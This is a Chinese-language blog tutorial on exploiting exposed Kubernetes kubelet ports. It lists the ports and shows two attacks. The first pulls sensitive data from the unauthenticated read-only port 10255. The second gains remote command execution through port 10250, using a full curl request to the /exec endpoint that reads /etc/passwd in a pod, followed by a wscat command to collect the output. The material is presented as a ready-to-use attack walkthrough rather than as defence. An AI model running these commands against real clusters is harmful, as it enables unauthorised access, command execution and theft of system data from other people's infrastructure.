kubelet漏洞利用

一、简介

kubernetes 是一个分布式的集群管理系统,在每个节点(node)上都要运行一个kubelet对容器进行生命周期的管理。
kubelet开放的端口有:

端口作用描述
4194cAdvisor 监听kublet 通过该端口可以获取到该节点的环境信息以及 node 上运行的容器状态等内容,访问 http://localhost:4194 可以看到 cAdvisor 的管理界面,通过 kubelet 的启动参数 --cadvisor-port 可以指定启动的端口。
10248健康检查端口健康检查通过访问该端口可以判断 kubelet 是否正常工作,通过 kubelet 的启动参数 --healthz-port 和 --healthz-bind-address 来指定监听的地址和端口。
10250kubelet APIkubelet server 与 apiserver 通信的端口,定期请求 apiserver 获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态。
10255readonly API提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权。

二、漏洞利用

kubernetes主要漏洞有端口开放泄露敏感信息,10255端口如果对外开放,攻击者利用公开api可以获取敏感信息。更严重的漏洞是开放10250端口,可能存在远程命令执行漏洞。通过以使用kubernetes的某应用为例说明漏洞的利用方法。
首先确定该应用使用了kubernetes,并开放了4个端口。
在这里插入图片描述

1、10255端口泄露敏感信息

该漏洞利用比较简单,直接在浏览器中访问:http://X.X.X.X:10255/logs/ ,或者其他api也行,查看是否存在响应数据,如果存在,则暴露出敏感信息。
在这里插入图片描述

2、远程命令执行漏洞

该漏洞的利用相对复杂一点,首先需要访问https://X.X.X.X:10250/pods/,确认10250端口对外开放。如果开放,则进行下一步,需要一台linux主机执行以下指令:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://X.X.X.X:10250/exec/namespace/podname/container-name?command=cat&command=/etc/passwd&input=1&output=1&tty=1"
command就是要远程执行的命令,本例是cat /etc/passwd。很明显需要确定三个参数,namespace、podname和container-name,此时又需要在https://X.X.X.X:10250/pods/页面中选择一个pod,如下图:
在这里插入图片描述
构造好curl请求之后,得到执行结果,其中location就是所需要的websocket地址。
图四
然后在使用wscat工具连接websocket。如果在windows下安装wscat,需要先安装node和npm。wscat命令为:
wscat -c “https://X.X.X.X:10250/location的值” --no-check
查看响应值,得到/etc/passwd,确定命令执行成功。
图五

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值